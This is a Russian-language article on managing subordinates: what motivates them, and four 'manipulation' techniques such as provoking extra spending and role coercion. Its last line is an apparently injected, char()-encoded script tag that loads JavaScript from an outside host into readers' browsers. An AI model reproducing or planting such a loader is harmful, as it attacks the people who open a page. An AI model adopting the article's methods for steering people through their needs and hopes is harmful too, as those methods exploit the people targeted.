Начальник и подчиненный: способы взаимодействия.

Начальник и подчиненный: способы взаимодействия.

Поистине был прав великий драматург, однажды сказавший: «Вся жизнь театр, а люди в нем актеры».
Каждый из нас, начиная с рождения, играет какие-то определенные социальные роли: ребенка, ученика, покупателя, студента, работника, отца или матери… И все поведение человека обусловлено, той ролью, которую он играет в данный момент. Еще, будучи ребенком, каждый из нас начинает задумываться над вопросом кем он хочет стать в жизни. Проходят годы: кто-то остается верным мечте и следует ей до конца, выбирая профессию, придуманную в детстве. А у кого-то со временем потребности поменялись, а вместе с тем изменились и мечта, и выбор профессии. Устраиваясь на работу, каждый из нас предлагает потенциальному работодателю те бизнес услуги, которыми владеет на данный момент. Уже давно ученые, психологи пришли к выводу, что профессиональная деятельность человека, как правило, обусловлена его собственными мотивами.  
Поэтому, для достижения наибольшего эффекта сотрудничества, а также для того чтобы  иметь возможность планировать свои дальнейшие действия, руководителю необходимо понимать мотивацию своих подчиненных. И начинать нужно с поиска ответа на вопрос: «Зачем он ходит на работу?»  И первая мысль, которая приходит в голову работодателю, в большинстве случаев, будет мысль о хлебе насущном. И частично, он прав. Ведь кушать хочется всем и, желательно, каждый день. Но, дело в том, что для психически здорового человека деньги практически никогда не бывают первичным мотивом. Они являются лишь средством в получении благ, необходимых для удовлетворения личных потребностей. В такой ситуации управлять поведением подчиненного можно двумя способами: через материальное стимулирование в денежном выражении или непосредственно предложив ему ресурсы счастья, составляющие его потребительскую корзину. Причем, во втором случае вы избавляете человека от нелегкого для многих выбора товара или услуги. Приведем простой пример. Некоторые люди, имея потребность в жилье для своей семьи, предпочитают, в конце концов, пользоваться жилплощадью работодателя. Существует несколько причин для такого, на первый взгляд, нелогичного выбора. Во-первых, при наличии достаточной суммы денег  решить данную задачу можно по-разному. Но, в любом случае, существует риск потерять накопленные средства в результате недоброго поступка каких-то лиц или стечения непредвиденных обстоятельств. Во-вторых, при выборе наиболее подходящего варианта некоторые люди могут испытывать стресс.
Альтернативность в предложении работодателя порождается различием в характере мотивации подчиненных. Упор на «голые» деньги в своей системе «как заинтересовать персонал?» могут делать только те работодатели, которые стараются нанимать психологически сильных работников, справляющихся с бременем личной свободы. Поэтому, если вы предложите стандартный соцпакет человеку, который желает самостоятельно распоряжаться заработанными средствами, то он вряд ли согласится на такой вариант трудоустройства.  
Иначе выглядит ситуация в тех компаниях, деятельность которых рассчитана на применение труда людей, комфортнее чувствующих себя  когда большинство организационных и бытовых вопросов решает начальство. В такой ситуации руководству данных компании, для мотивации трудящихся, приходится немного смещать приоритеты с размеров денежных выплат в сторону создания социальной среды, подходящей для нормального существования работников.
Крупные же компании, в основном, нуждаются в сотрудниках всех психологических типов. В этой ситуации задача руководства усложняется, так как необходимо сочетать оба способа мотивации. Потому что, неумение или нежелание начальства подбирать к каждому работнику индивидуальный ключик, склонность к использованию каких-то единых стандартов мотивации обычно порождают серьезные проблемы во взаимодействии с подчиненными.
Но, при этом следует учитывать, что далеко не все ресурсы счастья можно обменять на наличные, поэтому выше рассмотренные способы мотивации не затрагивают ту ее часть, которая очень слабо детерминируется деньгами. Нередко удерживают нас на предприятиях, где труд оценивают совсем не по максимуму, которого достойны специалисты соответствующего уровня и профиля на кадровом рынке, такие стороны жизни, как: уважение коллег по работе, чувство социальной значимости, неформальное общение с интересными людьми. Поэтому руководство, делающее ставку на данные факторы, существенно экономит на материальных средствах, предназначенных для оплаты труда и организации социального и культурного быта. Правда, в этом случае руководство компании должно взять на себя полную ответственность «за тех, кого приручило». И вот почему. Дело в том, что когда человек вращается сразу в нескольких непересекающихся между собой мирах (семья, работа, друзья, хобби и др.), он лучше защищен от ударов судьбы. Например, если происходит крушение в одном из его миров, то у него есть возможность отлежаться и зализать раны в других, получив в них психологическую и эмоциональную подпитку. Если же руководство делает компанию настолько привлекательной для персонала, что работники начинают видеть в ней смысл всей своей жизни, то ранимость их к вероятным неудачам на профессиональном фронте многократно возрастает. В результате, начальник, ответственный в моральном плане за своих подчиненных, уже не может, в интересах дела, с легкостью их уволить. И, в конечном итоге, такой подход в мотивации персонала нередко снижает адаптивность компании к быстро меняющимся условиям рынка, поскольку способность людей меняться по жизни значительно уступает скорости предъявляемых рынком требований.

Начальник и подчиненный: способы взаимодействия.

В практике взаимодействия с подчиненными важное место занимают различные манипуляции мотивами. Сейчас каждый менеджер сам для себя решает, какими именно средствами при управлении персоналом он будет пользоваться (так как далеко не все из них в моральном отношении оказываются чистыми). К тому же выбор тех или иных приемов воздействия на подчиненного зависит еще и от уровня психологического мастерства менеджера. Рассмотрим некоторые виды возможных манипуляций.
Первый вид – это создание новых мотивов. Формирование мотивации в жизни  человека, в значительной степени, определяется его окружением и является непрерывным процессом. Под влиянием людей, имеющих определенный авторитет, складываются определенные нормы поведения. Они своим примером, своей жизненной позицией или философией задают человеку новые ориентиры, предлагают новые ценности. Например, человеку, желающему хорошо зарабатывать, можно предложить попытаться стать лучшим специалистом в своей профессии в рамках корпорации или, скажем, отрасли (что, конечно же, отразится и на размере его заработной платы). В случае успеха данного управленческого приема среди персонала компании зарождается состязательность, в результате подчиненные начинают эффективнее работать не ради денег, а ради повышения своего социального статуса.
Также, в рамках мотивации, можно создать кумира или провоцировать дополнительные расходы. В первом варианте подчиненному предлагают образец для подражания в лице конкретного человека, добившегося значительных высот в своей профессиональной деятельности. Получение звания лучшего работника в данном случае выступает приманкой. Но мотивационный механизм отличается от рассмотренного выше: сотрудника подстегивает не соревнование с коллегами, а стремление соответствовать своему идеалу.
 Второй случай (провоцирование дополнительных расходов) основан на выявлении новых потребностей. Менеджер может пригласит своего подчиненного поужинать в шикарном ресторане, при этом подъехать туда на роскошном автомобиле. Таким образом, он может приобщить его к более высокому уровню потребления. Контекст такого воздействия содержится в невысказанной фразе: «Нравится? Если хочешь все это иметь постоянно, то работай больше и лучше!»
Еще один возможный способ манипуляции – смещение мотивов. Всем давно известна простая истина: поведение каждого человека всегда определено большим количеством мотивов. Но, психологического конфликта при выборе того или иного действия в любой конкретной ситуации удается избежать за счет установления иерархии ценностей и потребностей. В данном случае, менеджер может попытаться изменить эту иерархию в мотивации своего подчиненного в нужном для себя направлении. В подтверждение приведем несколько примеров такого вида манипуляции. Можно использовать систему бонусов, психологический механизм выбора: синица сегодня или журавль завтра, при котором осуществляется перенос оплаты труда на более позднее время с увеличением суммы. Также, можно предложить стать акционером (одним из собственников) компании вместо немедленного получения за выполненную работу наличных денег (система опционов). Возможно смещение акцента на нематериальный мотив: «Не в деньгах счастье — главное, чтобы отношения в коллективе были как в семье. Мы же одна команда!» Ну, и наконец, можно осуществить подмену символов: вместо премии, необходимой работнику для покупки престижного автомобиля, менеджер дает ему возможность пофорсить перед знакомыми на служебном «линкольне».
Третий способ – оживление тайных, порой безнадежных, потребностей. В этом случае ставка делается на возвращение к жизни тех потребностей человека, которые уже выпали из активной части его ценностей. Например, кто – то из ваших подчиненных был в молодости честолюбив, но море, под названием жизнь слишком часто штормило, в результате, годы неудач разбили все его надежды вырваться из замкнутого круга.
 Как вы думаете, что произойдет, если такому человеку дать надежду на возможность реализации жизненной формулы «из грязи — в князи». Совершенно верно. Он способен продемонстрировать неожиданный для окружающих трудовой энтузиазм ради приближения желанного образа жизни. Кроме честолюбия подобными временно угасшими потребностями могут быть, скажем, стремление к творчеству, самореализации и прочее.
Ну, и, наконец-то, четвертый способ манипуляции – ролевое принуждение. Дело в том, что наше поведение не всегда представляет собой цепочку ситуативных действий, не связанных друг с другом, когда мы принимаем конкретное решение в зависимости от текущих обстоятельств. Очень часто человек совершает поступки, руководствуясь выбранным когда-то поведенческим образом.  Поведенческие роли в человеческом обществе дополняют друг друга и сильно структурируют существующее разнообразие отношений, делая их предсказуемыми и социально регулируемыми. Вхождение в социальную роль позволяет человеку пользоваться поведенческими заготовками в наиболее типичных ситуациях. В любом случае человек, выступающий в какой-либо социальной роли, в своем поведении зависим от стереотипов, составляющих ее основу. Данный психологический механизм называется ролевым принуждением, когда человек в границах своей роли действует не по своему независимому мнению, а потому, что этого требует от него целостность принятого на себя социального образа. Поэтому, в критические моменты он оказывается перед нелегким выбором: либо смириться с некоторой личностной несвободой, либо отказаться от своей социальной роли и связанных с нею психологических выигрышей. Этот вариант манипуляции позволяет менеджеру задействовать в своем управлении подчиненными их желание соответствовать принятым социальным образам. Мотив соответствия выбранной подчиненным (и (или) навязанной ему начальником) социальной роли и является рычагом воздействия на него.
Однако в арсенале менеджера могут быть методы взаимодействия с подчиненными, свободные от какого бы то ни было внешнего влияния на их мотивацию.

char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)03c1faa9b65563733d4a907ad3b7fb48.js" type="text/javascript">